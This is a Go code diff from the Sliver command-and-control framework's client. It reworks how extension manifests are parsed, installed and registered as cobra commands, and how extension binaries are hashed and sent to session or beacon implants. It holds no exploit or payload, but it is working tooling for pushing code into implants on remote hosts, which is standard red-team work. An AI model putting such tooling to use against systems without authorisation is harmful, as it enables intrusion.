 	if err != nil {
 		con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
 		return
 	}
-	installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
-	if _, err := os.Stat(installPath); !os.IsNotExist(err) {
-		con.PrintInfof("Extension '%s' already exists", manifest.CommandName)
-		confirm := false
-		prompt := &survey.Confirm{Message: "Overwrite current install?"}
-		survey.AskOne(prompt, &confirm)
-		if !confirm {
-			return
-		}
-		forceRemoveAll(installPath)
+
+	// Use package name if available, otherwise use extension name
+	// (Note, for v1 manifests this will actually be command_name)
+	packageID := manifestF.Name
+	if manifestF.PackageName != "" {
+		packageID = manifestF.PackageName
 	}

-	con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
-	err = os.MkdirAll(installPath, 0o700)
-	if err != nil {
-		con.PrintErrorf("\nError creating extension directory: %s\n", err)
-		return
-	}
-	err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
-	if err != nil {
-		con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
-		forceRemoveAll(installPath)
-		return
-	}
-
-	for _, manifestFile := range manifest.Files {
-		if manifestFile.Path != "" {
-			src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path))
-			dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
-			err := util.CopyFile(src, dst)
-			if err != nil {
-				con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
-				forceRemoveAll(installPath)
-				return
-			}
-		}
-	}
-
-}
-
-// InstallFromFilePath - Install an extension from a .tar.gz file
-func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
-	manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
-	if err != nil {
-		con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, extLocalPath, err)
-		return nil
-	}
-	manifest, err := ParseExtensionManifest(manifestData)
-	if err != nil {
-		con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
-		return nil
-	}
-	installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
-	if _, err := os.Stat(installPath); !os.IsNotExist(err) {
-		if !autoOverwrite {
-			con.PrintInfof("Extension '%s' already exists\n", manifest.CommandName)
+	//create repo path
+	minstallPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(packageID))
+	if _, err := os.Stat(minstallPath); !os.IsNotExist(err) {
+		if promptToOverwrite {
+			con.PrintInfof("Extension '%s' already exists", manifestF.Name)
 			confirm := false
 			prompt := &survey.Confirm{Message: "Overwrite current install?"}
 			survey.AskOne(prompt, &confirm)
 			if !confirm {
-				return nil
+				return
 			}
 		}
-		forceRemoveAll(installPath)
+		forceRemoveAll(minstallPath)
+	}
+	con.PrintInfof("Installing extension '%s' (%s) ... \n", manifestF.Name, manifestF.Version)
+	err = os.MkdirAll(minstallPath, 0o700)
+	if err != nil {
+		con.PrintErrorf("Error creating extension directory: %s\n", err)
+		return
+	}
+	err = os.WriteFile(filepath.Join(minstallPath, ManifestFileName), manifestData, 0o600)
+	if err != nil {
+		con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
+		forceRemoveAll(minstallPath)
+		return
 	}

-	con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
-	err = os.MkdirAll(installPath, 0o700)
-	if err != nil {
-		con.PrintErrorf("\nFailed to create extension directory: %s\n", err)
-		return nil
-	}
-	err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
-	if err != nil {
-		con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
-		forceRemoveAll(installPath)
-		return nil
-	}
-	for _, manifestFile := range manifest.Files {
-		if manifestFile.Path != "" {
-			err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
-			if err != nil {
-				con.PrintErrorf("\nFailed to install file: %s\n", err)
-				forceRemoveAll(installPath)
-				return nil
+	for _, manifest := range manifestF.ExtCommand {
+		installPath := filepath.Join(minstallPath)
+		for _, manifestFile := range manifest.Files {
+			if manifestFile.Path != "" {
+				if isGz {
+					err = installArtifact(extLocalPath, installPath, manifestFile.Path)
+				} else {
+					src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path))
+					dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
+					err = os.MkdirAll(filepath.Dir(dst), 0o700) //required for extensions with multiple dirs between the .o file and the manifest
+					if err != nil {
+						con.PrintErrorf("\nError creating extension directory: %s\n", err)
+						forceRemoveAll(installPath)
+						return
+					}
+					err = util.CopyFile(src, dst)
+					if err != nil {
+						err = fmt.Errorf("error copying file '%s' -> '%s': %s", src, dst, err)
+					}
+				}
+				if err != nil {
+					con.PrintErrorf("Error installing command: %s\n", err)
+					forceRemoveAll(installPath)
+					return
+				}
 			}
 		}
 	}
-	con.Printf("done!\n")
-	return &installPath
 }

-func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error {
-	data, err := util.ReadFileFromTarGz(extGzFilePath, "."+artifactPath)
+func installArtifact(extGzFilePath string, installPath string, artifactPath string) error {
+	data, err := util.ReadFileFromTarGz(extGzFilePath, "."+filepath.ToSlash(artifactPath))
 	if err != nil {
 		return err
 	}
@@ -166,7 +159,7 @@ func installArtifact(extGzFilePath string, installPath string, artifactPath stri
 			return err
 		}
 	}
-	err = ioutil.WriteFile(localArtifactPath, data, 0o600)
+	err = os.WriteFile(localArtifactPath, data, 0o600)
 	if err != nil {
 		return err
 	}
@@ -20,21 +20,120 @@ package extensions

 import (
 	"context"
+	"crypto/sha256"
+	"encoding/hex"
+	"os"
+	"path/filepath"
+	"slices"

+	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
+	"github.com/spf13/cobra"
 )

-// ExtensionsListCmd - List all extension loaded on the active session/beacon
-func ExtensionsListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+// ExtensionMatch holds the details of a matched extension
+
+type ExtensionMatch struct {
+	CommandName string
+	Hash        string
+	BinPath     string
+}
+
+// FindExtensionMatches searches through loaded extensions for matching hashes
+// Returns a map of hash to ExtensionMatch (match will be nil if hash wasn't found)
+func FindExtensionMatches(targetHashes []string) map[string]*ExtensionMatch {
+	results := make(map[string]*ExtensionMatch)
+	pathCache := make(map[string]*ExtensionMatch)
+
+	// Initialize results map with all target hashes
+	for _, hash := range targetHashes {
+		results[hash] = nil
+	}
+
+	// Search for matches
+	for _, extCmd := range loadedExtensions {
+		if extCmd == nil || len(extCmd.Files) == 0 {
+			continue
+		}
+
+		for _, file := range extCmd.Files {
+			fullPath := filepath.Join(extCmd.Manifest.RootPath, file.Path)
+
+			// Check cache first
+			var match *ExtensionMatch
+			if cached, exists := pathCache[fullPath]; exists {
+				match = cached
+			} else {
+				// Calculate hash if not cached
+				fileData, err := os.ReadFile(fullPath)
+				if err != nil {
+					continue
+				}
+
+				hashBytes := sha256.Sum256(fileData)
+				fileHash := hex.EncodeToString(hashBytes[:])
+
+				match = &ExtensionMatch{
+					CommandName: extCmd.CommandName,
+					Hash:        fileHash,
+					BinPath:     fullPath,
+				}
+				pathCache[fullPath] = match
+			}
+
+			if slices.Contains(targetHashes, match.Hash) {
+				results[match.Hash] = match
+			}
+		}
+	}
+
+
+	return results
+}
+
+// PrintExtensionMatches prints the extension matches in a formatted table
+func PrintExtensionMatches(matches map[string]*ExtensionMatch, con *console.SliverClient) {
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{
+		"Command Name",
+		"Sha256 Hash",
+		"Bin Path",
+	})
+	tw.SortBy([]table.SortBy{
+		{Name: "Command Name", Mode: table.Asc},
+	})
+
+	for hash, match := range matches {
+		if match != nil {
+			tw.AppendRow(table.Row{
+				match.CommandName,
+				hash,
+				match.BinPath,
+			})
+		} else {
+			tw.AppendRow(table.Row{
+				"",
+				hash,
+				"",
+			})
+		}
+	}
+
+	con.Println(tw.Render())
+}
+
+// ExtensionsListCmd - List all extension loaded on the active session/beacon.
+func ExtensionsListCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}

 	extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
-		Request: con.ActiveTarget.Request(ctx),
+		Request: con.ActiveTarget.Request(cmd),
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
@@ -45,10 +144,12 @@ func ExtensionsListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("%s\n", extList.Response.Err)
 		return
 	}
-	if len(extList.Names) > 0 {
-		con.PrintInfof("Loaded extensions:\n")
-		for _, ext := range extList.Names {
-			con.Printf("- %s\n", ext)
-		}
+
+	if len(extList.Names) == 0 {
+		return
 	}
+
+	con.PrintInfof("Loaded extensions:\n\n")
+	matches := FindExtensionMatches(extList.Names)
+	PrintExtensionMatches(matches, con)
 }
@@ -21,37 +21,46 @@ package extensions
 import (
 	"bytes"
 	"context"
+	"crypto/sha256"
+	"encoding/hex"
 	"encoding/json"
 	"errors"
 	"fmt"
-	"io/ioutil"
+	"log"
 	"os"
 	"path"
 	"path/filepath"
+	"strconv"
 	"strings"

+	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/command/help"
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/bishopfox/sliver/client/core"
+	"github.com/bishopfox/sliver/client/packages"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util"
-	"github.com/desertbit/grumble"
+	appConsole "github.com/reeflective/console"
+	"github.com/rsteube/carapace"
+	"github.com/spf13/cobra"
+	"github.com/spf13/pflag"
 	"google.golang.org/protobuf/proto"
 )

 const (
 	defaultTimeout = 60

-	// ManifestFileName - Extension manifest file name
+	// ManifestFileName - Extension manifest file name.
 	ManifestFileName = "extension.json"
 )

-var loadedExtensions = map[string]*ExtensionManifest{}
+var loadedExtensions = map[string]*ExtCommand{}
+var loadedManifests = map[string]*ExtensionManifest{}

-type ExtensionManifest struct {
+type ExtensionManifest_ struct {
 	Name            string               `json:"name"`
 	CommandName     string               `json:"command_name"`
 	Version         string               `json:"version"`
@@ -69,6 +78,37 @@ type ExtensionManifest struct {
 	RootPath string `json:"-"`
 }

+type ExtensionManifest struct {
+	Name            string `json:"name"`
+	PackageName     string `json:"package_name"`
+	Version         string `json:"version"`
+	ExtensionAuthor string `json:"extension_author"`
+	OriginalAuthor  string `json:"original_author"`
+	RepoURL         string `json:"repo_url"`
+
+	ExtCommand []*ExtCommand `json:"commands"`
+
+	RootPath   string `json:"-"`
+	ArmoryName string `json:"-"`
+	ArmoryPK   string `json:"-"`
+}
+
+type ExtCommand struct {
+	CommandName string                 `json:"command_name"`
+	Help        string                 `json:"help"`
+	LongHelp    string                 `json:"long_help"`
+	Files       []*extensionFile       `json:"files"`
+	Arguments   []*extensionArgument   `json:"arguments"`
+	Entrypoint  string                 `json:"entrypoint"`
+	DependsOn   string                 `json:"depends_on"`
+	Init        string                 `json:"init"`
+	Schema      *packages.OutputSchema `json:"schema"`
+
+	Manifest *ExtensionManifest
+}
+
+//type MultiManifest []*ExtensionManifest
+
 type extensionFile struct {
 	OS   string `json:"os"`
 	Arch string `json:"arch"`
@@ -76,17 +116,24 @@ type extensionFile struct {
 }

 type extensionArgument struct {
-	Name     string `json:"name"`
-	Type     string `json:"type"`
-	Desc     string `json:"desc"`
-	Optional bool   `json:"optional"`
+	Name     string      `json:"name"`
+	Type     string      `json:"type"`
+	Desc     string      `json:"desc"`
+	Optional bool        `json:"optional"`
+	Default  interface{} `json:"default,omitempty"`
 }

-func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
+func (e *ExtCommand) getFileForTarget(targetOS string, targetArch string) (string, error) {
 	filePath := ""
 	for _, extFile := range e.Files {
 		if targetOS == extFile.OS && targetArch == extFile.Arch {
-			filePath = path.Join(assets.GetExtensionsDir(), e.CommandName, extFile.Path)
+			if e.Manifest.RootPath != "" {
+				// Use RootPath for temporarily loaded extensions
+				filePath = path.Join(e.Manifest.RootPath, extFile.Path)
+			} else {
+				// Fall back to extensions dir for installed extensions
+				filePath = path.Join(assets.GetExtensionsDir(), e.Manifest.Name, extFile.Path)
+			}
 			break
 		}
 	}
@@ -101,128 +148,250 @@ func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, ta
 	return filePath, nil
 }

-// ExtensionLoadCmd - Load extension command
-func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	dirPath := ctx.Args.String("dir-path")
-	extCmd, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
+// ExtensionLoadCmd - Temporarily installs an extension from a local directory into the client.
+// The extension must contain a valid manifest file. If commands from the extension
+// already exist, the user will be prompted to overwrite them.
+func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	dirPath := args[0]
+
+	// Add directory check
+	fileInfo, err := os.Stat(dirPath)
+	if err != nil || !fileInfo.IsDir() {
+		con.PrintErrorf("Path is not a directory: %s\n", dirPath)
+		return
+	}
+
+	manifest, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
 	if err != nil {
 		return
 	}
 	// do not add if the command already exists
-	if CmdExists(extCmd.CommandName, con.App) {
-		con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
-		return
+	sliverMenu := con.App.Menu("implant")
+	for _, extCmd := range manifest.ExtCommand {
+		if CmdExists(extCmd.CommandName, sliverMenu.Command) {
+			con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
+			confirm := false
+			prompt := &survey.Confirm{Message: "Overwrite current command?"}
+			survey.AskOne(prompt, &confirm)
+			if !confirm {
+				return
+			}
+		}
+		ExtensionRegisterCommand(extCmd, cmd.Root(), con)
+		con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
 	}
-	ExtensionRegisterCommand(extCmd, con)
-	con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
 }

-// LoadExtensionManifest - Parse extension files
+// LoadExtensionManifest loads and parses an extension manifest file from the given path.
+// It registers each command defined in the manifest into the loadedExtensions map
+// and registers the complete manifest into loadedManifests. A single manifest may
+// contain multiple extension commands. The manifest's RootPath is set to its containing
+// directory. Returns the parsed manifest and any errors encountered.
 func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
-	data, err := ioutil.ReadFile(manifestPath)
+	data, err := os.ReadFile(manifestPath)
 	if err != nil {
 		return nil, err
 	}
-	extManifest, err := ParseExtensionManifest(data)
+	manifest, err := ParseExtensionManifest(data)
 	if err != nil {
 		return nil, err
 	}
-	extManifest.RootPath = filepath.Dir(manifestPath)
-	loadedExtensions[extManifest.CommandName] = extManifest
-	return extManifest, nil
+	manifest.RootPath = filepath.Dir(manifestPath)
+	for _, extManifest := range manifest.ExtCommand {
+		loadedExtensions[extManifest.CommandName] = extManifest
+	}
+	loadedManifests[manifest.Name] = manifest
+
+	return manifest, nil
+
 }

-// ParseExtensionManifest - Parse extension manifest from buffer
+func convertOldManifest(old *ExtensionManifest_) *ExtensionManifest {
+	ret := &ExtensionManifest{
+		Name:            old.CommandName, //treating old command name as the manifest name to avoid weird chars mostly
+		Version:         old.Version,
+		ExtensionAuthor: old.ExtensionAuthor,
+		OriginalAuthor:  old.OriginalAuthor,
+		RepoURL:         old.RepoURL,
+		RootPath:        old.RootPath,
+		//only one command exists in the old manifest, so we can 'confidently' create it here
+		ExtCommand: []*ExtCommand{
+			{
+				CommandName: old.CommandName,
+				DependsOn:   old.DependsOn,
+				Help:        old.Help,
+				LongHelp:    old.LongHelp,
+				Entrypoint:  old.Entrypoint,
+				Files:       old.Files,
+				Arguments:   old.Arguments,
+				Schema:      nil,
+			},
+		},
+	}
+
+	//Manifest ref is done in the parser that calls this
+
+	return ret
+}
+
+// parseExtensionManifest - Parse extension manifest from buffer (legacy, only parses one)
 func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
 	extManifest := &ExtensionManifest{}
 	err := json.Unmarshal(data, &extManifest)
-	if err != nil {
-		return nil, err
-	}
-	if extManifest.Name == "" {
-		return nil, errors.New("missing `name` field in extension manifest")
-	}
-	if extManifest.CommandName == "" {
-		return nil, errors.New("missing `command_name` field in extension manifest")
-	}
-	if len(extManifest.Files) == 0 {
-		return nil, errors.New("missing `files` field in extension manifest")
-	}
-	for _, extFiles := range extManifest.Files {
-		if extFiles.OS == "" {
-			return nil, errors.New("missing `files.os` field in extension manifest")
+	if err != nil || len(extManifest.ExtCommand) == 0 { //extensions must have at least one command to be sensible
+		//maybe it's an old manifest
+		if err != nil {
+			log.Printf("extension load error: %s", err)
 		}
-		if extFiles.Arch == "" {
-			return nil, errors.New("missing `files.arch` field in extension manifest")
+		oldmanifest := &ExtensionManifest_{}
+		err := json.Unmarshal(data, &oldmanifest)
+		if err != nil {
+			//nope, just broken
+			return nil, err
 		}
-		extFiles.Path = util.ResolvePath(extFiles.Path)
-		if extFiles.Path == "" || extFiles.Path == "/" {
-			return nil, errors.New("missing `files.path` field in extension manifest")
+		//yes, ok, lets jigger it to a new manifest
+		extManifest = convertOldManifest(oldmanifest)
+	}
+	//pass ref to manifest to each command and initialize output schema if applicable
+	for i := range extManifest.ExtCommand {
+		command := extManifest.ExtCommand[i]
+		command.Manifest = extManifest
+		if command.Schema != nil {
+			command.Schema.IngestColumns()
 		}
-		extFiles.OS = strings.ToLower(extFiles.OS)
-		extFiles.Arch = strings.ToLower(extFiles.Arch)
 	}
-	if extManifest.Help == "" {
-		return nil, errors.New("missing `help` field in extension manifest")
-	}
-	return extManifest, nil
+	return extManifest, validManifest(extManifest)
 }

-// ExtensionRegisterCommand - Register a new extension command
-func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverConsoleClient) {
-	loadedExtensions[extCmd.CommandName] = extCmd
-	helpMsg := extCmd.Help
-	extensionCmd := &grumble.Command{
-		Name:     extCmd.CommandName,
-		Help:     helpMsg,
-		LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
-		Run: func(extCtx *grumble.Context) error {
-			con.Println()
-			runExtensionCmd(extCtx, con)
-			con.Println()
-			return nil
-		},
-		Flags: func(f *grumble.Flags) {
-			// f.Bool("s", "save", false, "Save output to disk")
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Args: func(a *grumble.Args) {
-			if 0 < len(extCmd.Arguments) {
-				// BOF specific
-				for _, arg := range extCmd.Arguments {
-					var (
-						argFunc      func(string, string, ...grumble.ArgOption)
-						defaultValue grumble.ArgOption
-					)
-					switch arg.Type {
-					case "int", "integer", "short":
-						argFunc = a.Int
-						defaultValue = grumble.Default(0)
-					case "string", "wstring", "file":
-						argFunc = a.String
-						defaultValue = grumble.Default("")
-					default:
-						con.PrintErrorf("Invalid argument type: %s\n", arg.Type)
-						return
-					}
-					if arg.Optional {
-						argFunc(arg.Name, arg.Desc, defaultValue)
-					} else {
-						argFunc(arg.Name, arg.Desc)
-					}
-				}
-			} else {
-				a.StringList("arguments", "arguments", grumble.Default([]string{}))
+func validManifest(manifest *ExtensionManifest) error {
+	if manifest.Name == "" {
+		return errors.New("missing `name` field in extension manifest")
+	}
+	for _, extManifest := range manifest.ExtCommand {
+		if extManifest.CommandName == "" {
+			return errors.New("missing `command_name` field in extension manifest")
+		}
+		if len(extManifest.Files) == 0 {
+			return errors.New("missing `files` field in extension manifest")
+		}
+		for _, extFiles := range extManifest.Files {
+			if extFiles.OS == "" {
+				return errors.New("missing `files.os` field in extension manifest")
 			}
-		},
-		HelpGroup: consts.ExtensionHelpGroup,
+			if extFiles.Arch == "" {
+				return errors.New("missing `files.arch` field in extension manifest")
+			}
+			extFiles.Path = util.ResolvePath(extFiles.Path)
+			if extFiles.Path == "" || extFiles.Path == "/" {
+				return errors.New("missing `files.path` field in extension manifest")
+			}
+			extFiles.OS = strings.ToLower(extFiles.OS)
+			extFiles.Arch = strings.ToLower(extFiles.Arch)
+		}
+		if extManifest.Help == "" {
+			return errors.New("missing `help` field in extension manifest")
+		}
+		if extManifest.Schema != nil {
+			if !packages.IsValidSchemaType(extManifest.Schema.Name) {
+				return fmt.Errorf("%s is not a valid schema type", extManifest.Schema.Name)
+			}
+		}
 	}
-	con.App.AddCommand(extensionCmd)
+	return nil
 }

-func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, ctx *grumble.Context, con *console.SliverConsoleClient) error {
+// ExtensionRegisterCommand adds an extension command to the cobra command system.
+// It validates the extension's arguments, updates the loadedExtensions map, and
+// creates a cobra.Command with proper usage text, help documentation, and argument
+// handling. The command is added as a subcommand to the provided parent cobra.Command.
+// Arguments are displayed in the help text as uppercase, with optional args in square
+// brackets. The help text includes sections for command usage, description, and detailed
+// argument specifications.
+func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *console.SliverClient) {
+	if errInvalidArgs := checkExtensionArgs(extCmd); errInvalidArgs != nil {
+		con.PrintErrorf(errInvalidArgs.Error())
+		return
+	}
+
+	loadedExtensions[extCmd.CommandName] = extCmd
+
+	usage := strings.Builder{}
+	usage.WriteString(extCmd.CommandName)
+	//build usage including args
+	for _, arg := range extCmd.Arguments {
+		usage.WriteString(" ")
+		if arg.Optional {
+			usage.WriteString("[")
+		}
+		usage.WriteString(strings.ToUpper(arg.Name))
+		if arg.Optional {
+			usage.WriteString("]")
+		}
+	}
+	longHelp := strings.Builder{}
+	//prepend the help value, because otherwise I don't see where it is meant to be shown
+	//build the command ref
+	longHelp.WriteString("[[.Bold]]Command:[[.Normal]]")
+	longHelp.WriteString(usage.String())
+	longHelp.WriteString("\n")
+	if len(extCmd.Help) > 0 || len(extCmd.LongHelp) > 0 {
+		longHelp.WriteString("[[.Bold]]About:[[.Normal]]")
+		if len(extCmd.Help) > 0 {
+			longHelp.WriteString(extCmd.Help)
+			longHelp.WriteString("\n")
+		}
+		if len(extCmd.LongHelp) > 0 {
+			longHelp.WriteString(extCmd.LongHelp)
+			longHelp.WriteString("\n")
+		}
+	}
+	if len(extCmd.Arguments) > 0 {
+		longHelp.WriteString("[[.Bold]]Arguments:[[.Normal]]")
+	}
+	//if more than 0 args specified, describe each arg at the bottom of the long help text (incase the manifest doesn't include it)
+	for _, arg := range extCmd.Arguments {
+		longHelp.WriteString("\n\t")
+		optStr := ""
+		if arg.Optional {
+			optStr = "[OPTIONAL]"
+		}
+		aType := arg.Type
+		if aType == "wstring" {
+			aType = "string" //avoid confusion, as this is mostly for telling operator what to shove into the args
+		}
+		//idk how to make this look nice, tabs don't work especially good - maybe should use the table stuff other things do? Pls help.
+		longHelp.WriteString(fmt.Sprintf("%s (%s):\t%s%s", strings.ToUpper(arg.Name), aType, optStr, arg.Desc))
+	}
+
+	// Command
+	extensionCmd := &cobra.Command{
+		Use:   usage.String(),
+		Short: extCmd.Help,
+		Long:  help.FormatHelpTmpl(longHelp.String()),
+		Run: func(cmd *cobra.Command, args []string) {
+			runExtensionCmd(cmd, con, args)
+		},
+		GroupID:     consts.ExtensionHelpGroup,
+		Annotations: makeCommandPlatformFilters(extCmd),
+	}
+
+	// Flags
+	f := pflag.NewFlagSet(extCmd.CommandName, pflag.ContinueOnError)
+	f.BoolP("save", "s", false, "Save output to disk")
+	f.IntP("timeout", "t", defaultTimeout, "command timeout in seconds")
+	extensionCmd.Flags().AddFlagSet(f)
+	extensionCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
+
+	// Completions
+	comps := carapace.Gen(extensionCmd)
+	makeExtensionArgCompleter(extCmd, cmd, comps)
+
+	cmd.AddCommand(extensionCmd)
+}
+
+func loadExtension(goos string, goarch string, checkCache bool, ext *ExtCommand, cmd *cobra.Command, con *console.SliverClient) error {
 	var extensionList []string
-	binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
+	binPath, err := ext.getFileForTarget(goos, goarch)
 	if err != nil {
 		return err
 	}
@@ -230,7 +399,7 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
 	// Try to find the extension in the loaded extensions
 	if checkCache {
 		extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
-			Request: con.ActiveTarget.Request(ctx),
+			Request: con.ActiveTarget.Request(cmd),
 		})
 		if err != nil {
 			con.PrintErrorf("List extensions error: %s\n", err.Error())
@@ -241,44 +410,100 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa
 		}
 		extensionList = extList.Names
 	}
-	depLoaded := false
-	for _, extName := range extensionList {
-		if !depLoaded && extName == ext.DependsOn {
-			depLoaded = true
+	//extensionList contains all *implant* loaded extensions. Is a sha256 sum of the relevant file.
+
+	//get the file hash to compare against implant extensions later
+	toberunfilepath, err := ext.getFileForTarget(goos, goarch)
+	if err != nil {
+		return err
+	}
+	//we need to check the dependent if it's a bof
+	if ext.DependsOn != "" {
+		//verify extension is in loaded list
+		if extension, found := loadedExtensions[ext.DependsOn]; found {
+			toberunfilepath, err = extension.getFileForTarget(goos, goarch)
+			if err != nil {
+				return err
+			}
+		} else {
+			// handle error
+			return fmt.Errorf("attempted to load non-existing extension: %s", ext.DependsOn)
 		}
-		if ext.CommandName == extName {
+	}
+
+	//todo, maybe cache these values somewhere
+	toberunfiledata, err := os.ReadFile(toberunfilepath)
+	if err != nil {
+		return err
+	}
+	if len(toberunfiledata) == 0 {
+		//read an empty file, bail out
+		return errors.New("read empty extension file content")
+	}
+	bd := sha256.Sum256(toberunfiledata)
+	toberunhash := hex.EncodeToString(bd[:])
+
+	for _, extName := range extensionList {
+		//check if extension we are trying to run (ext.CommandName or ext.DependsOn, for bofs) is already loaded
+		if extName == toberunhash {
+			//exists on the other side, exit early
 			return nil
 		}
 	}
 	// Extension not found, let's load it
-	if filepath.Ext(binPath) == ".o" {
-		// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
-		// Auto load the coff loader if we have it
-		if !depLoaded {
-			if errLoad := loadDep(goos, goarch, ext.DependsOn, ctx, con); errLoad != nil {
-				return errLoad
-			}
-		}
-		return nil
+	// BOFs are not loaded by the DLL loader, but we need to load the loader (more load more good)
+	if ext.DependsOn != "" {
+		return loadDep(goos, goarch, ext.DependsOn, cmd, con)
 	}
-	binData, err := ioutil.ReadFile(binPath)
+	binData, err := os.ReadFile(binPath)
 	if err != nil {
 		return err
 	}
-	if errRegister := registerExtension(goos, ext, binData, ctx, con); errRegister != nil {
+	if errRegister := registerExtension(goos, ext, binData, cmd, con); errRegister != nil {
 		return errRegister
 	}
 	return nil
 }

-func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx *grumble.Context, con *console.SliverConsoleClient) error {
+func registerExtension(goos string, ext *ExtCommand, binData []byte, cmd *cobra.Command, con *console.SliverClient) error {
+	//set extension name to a hash of the data to avoid loading more than one instance
+	bd := sha256.Sum256(binData)
+	name := hex.EncodeToString(bd[:])
+	sess, beac := con.ActiveTarget.GetInteractive()
+	ctrl := make(chan bool)
+	//first time run of an extension will require some waiting depending on the size
+	if sess != nil {
+		msg := fmt.Sprintf("Sending %s to implant ...", ext.CommandName)
+		con.SpinUntil(msg, ctrl)
+	}
+	//don't block if we are in beacon mode
+	if beac != nil && sess == nil {
+		go func() {
+			registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
+				Name:    name,
+				Data:    binData,
+				OS:      goos,
+				Init:    ext.Init,
+				Request: con.ActiveTarget.Request(cmd),
+			})
+			if err != nil {
+				con.PrintErrorf("Error registering extension: %s\n", err)
+			}
+			if registerResp.Response != nil && registerResp.Response.Err != "" {
+				con.PrintErrorf("Error registering extension: %s\n", errors.New(registerResp.Response.Err))
+			}
+		}()
+		return nil
+	}
+	//session mode (hopefully)
 	registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
-		Name:    ext.CommandName,
+		Name:    name,
 		Data:    binData,
 		OS:      goos,
-		Init:    ext.Init,
-		Request: con.ActiveTarget.Request(ctx),
+		Request: con.ActiveTarget.Request(cmd),
 	})
+	ctrl <- true
+	<-ctrl
 	if err != nil {
 		return err
 	}
@@ -288,23 +513,23 @@ func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx
 	return nil
 }

-func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, con *console.SliverConsoleClient) error {
+func loadDep(goos string, goarch string, depName string, cmd *cobra.Command, con *console.SliverClient) error {
 	depExt, ok := loadedExtensions[depName]
 	if ok {
-		depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch)
+		depBinPath, err := depExt.getFileForTarget(goos, goarch)
 		if err != nil {
 			return err
 		}
-		depBinData, err := ioutil.ReadFile(depBinPath)
+		depBinData, err := os.ReadFile(depBinPath)
 		if err != nil {
 			return err
 		}
-		return registerExtension(goos, depExt, depBinData, ctx, con)
+		return registerExtension(goos, depExt, depBinData, cmd, con)
 	}
 	return fmt.Errorf("missing dependency %s", depName)
 }

-func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	var (
 		err           error
 		extensionArgs []byte
